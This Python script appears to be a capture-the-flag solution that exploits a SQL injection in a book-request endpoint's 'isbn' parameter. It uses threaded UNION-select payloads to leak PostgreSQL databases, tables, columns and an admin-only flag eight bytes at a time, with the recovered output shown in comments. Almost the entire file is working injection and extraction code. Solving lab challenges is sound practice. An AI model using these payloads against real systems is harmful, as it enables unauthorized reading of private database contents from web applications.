import requests
import string
from functools import wraps
from concurrent.futures import ThreadPoolExecutor
import time
URI = "http://libreria.sstf.site/rest.php"
all_data = {}

def long_to_bytes(longd):
    hexs = hex(longd)[2:]
    return ''.join([chr(int(hexs[i:i+2],16)) for i in range(0, len(hexs), 2)]).replace("\x00", "")

def extract_int(result):
    return int(''.join(x for x in result if x.isdigit()))
params = {
    "cmd": "requestbook",
    "isbn": ""
}

def _future_completed(future):
    """ Helper for run_in_executor() """
    exc = future.exception()
    if exc:
        print("Failed to run task on executor", exc_info=exc)

executor = ThreadPoolExecutor()
def run_in_executor(f):
    """
    A decorator to run the given method in the ThreadPoolExecutor.
    """

    @wraps(f)
    def new_f(*args, **kwargs):
        try:
            future = executor.submit(f, *args, **kwargs)
            future.add_done_callback(_future_completed)
        except Exception:
            print("Failed to submit task to executor")
    return new_f

result = {}
@run_in_executor
def _request(params, req_id=0):
    resp = requests.get(URI, params=params)
    if "already" in resp.text:
        result[req_id] = extract_int(resp.text)
    else:
        print(resp.text)
        result[req_id] = -1

def leak_data(query):
    global result
    # get data len
    # query example: select string_agg(datname, ',') from pg_database
    params['isbn'] = f"1' union select 1000000000+(select length(({query})))  -- a"
    _request(params)
    time.sleep(4)
    result_int = result[0]
    result = {}
    if result_int == -1:
        return 
    result_int -= 1_000_000_000
    _round = result_int // 8
    for i in range(_round):
        params['isbn'] = f"1' union select concat('x',encode(substring::bytea, 'hex'))::bit(64)::bigint from (with a as ({query}) select substring(string_agg from generate_series(1,length(string_agg), 8) for 8) from a group by string_agg limit 1 offset {i})c -- a"
        _request(params.copy(), i)
    if result_int % 8 != 0:
        rem = result_int%8
        params['isbn'] = f"1' union select concat('x',encode(substring::bytea, 'hex'))::bit(64)::bigint from (with a as ({query}) select substring(string_agg from {result_int-rem+1} for {rem}) from a group by string_agg)c -- a"
        _request(params.copy(), _round)
    time.sleep(4)
    data = ''
    for i in range(_round):
        data += long_to_bytes(result[i])
    if result_int % 8 != 0:
        data += long_to_bytes(result[_round])
    result = {}
    return data

import time
start = time.time()
print("[Database]")
print(leak_data("select string_agg(datname, ',') from pg_database"))
print("[Table]")
print(leak_data("select string_agg(table_name, ',') from information_schema.tables where table_schema = 'books'"))
print("[Column][adminonly]")
print(leak_data("select string_agg(column_name, ',') from information_schema.columns where table_name = 'adminonly'"))
print("[value][adminonly]")
print(leak_data("select string_agg(value, ',') from adminonly where value ilike '%SCTF{%'"))
print(f"duration = {time.time() - start:.2f}s")
# >> [Database]
# >> postgres,books,template1,template0
# >> [Table]
# >> adminonly,books,employee
# >> [Column][adminonly]
# >> idx,key,value
# >> [value][adminonly]
# >> SCTF{SQL_i5_4_l4n9uage_t0_man4G3_d4ta_1n_Da7aba$e5}
# >> duration = 32.05s